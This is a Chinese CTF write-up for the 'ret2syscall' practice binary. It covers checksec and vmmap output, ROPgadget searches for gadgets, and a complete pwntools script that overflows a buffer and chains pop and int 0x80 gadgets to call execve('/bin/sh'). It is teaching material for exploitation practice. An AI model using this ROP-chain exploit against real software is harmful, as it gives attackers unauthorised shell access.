ret2syscall

发布时间 2023-08-04 13:06:10作者: qianyuzz

ret2syscall

介绍

解题

老规矩,先用checksec ret2syscall检查一下有做什么保护没有。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了栈不可执行,部分随机地址化。那么延续上一题的思路,写到bss区域来进行getshell。我们可以看看,使用gdb的vmmap命令来查看区域的权限,并没有可读可写可执行的区域。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x80e9000 r-xp    a1000 0      /home/pwn/Pwn/pwn_challenge/ret2syscall
 0x80e9000  0x80eb000 rw-p     2000 a0000  /home/pwn/Pwn/pwn_challenge/ret2syscall
 0x80eb000  0x810f000 rw-p    24000 0      [heap]
0xf7ff9000 0xf7ffa000 rw-p     1000 0      
0xf7ffa000 0xf7ffd000 r--p     3000 0      [vvar]
0xf7ffd000 0xf7ffe000 r-xp     1000 0      [vdso]
0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

那么将文件拖入到IDA中分析,可以在函数窗口发现很多函数,那么这就是静态编译的。或者也可以使用file ret2syscall查看:

ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

那就可以使用ROP来进行攻击;首先我们知道最终是要程序执行execve("/bin/sh")这段代码,就可以得到shell,那这个函数其实就是一个系统调用,对应的反汇编代码如下

mov eax, 0xb
mov ebx, [“/bin/sh”] 
mov ecx, 0
mov edx, 0
int 0x80

既然这个程序包含这么多的函数,那汇编代码肯定少不了,我们只需要使用ROPgadget 工具来进行攻击:ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选择0x080bb196,同样的pop ebx;ret也是这样子寻找。

CTF :: ~/Pwn/pwn_challenge » ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

看到有一行0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret,这刚好完全,那就这一条吧。bin/sh同样

ROPgadget --binary ret2syscall  --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

int 80

ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

最终的payload就是:

from pwn import *

io = process("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80 = 0x08049421
bin_sh=0x080BE408

payload = flat([b'A'*112,pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80])

io.sendline(payload)

io.interactive()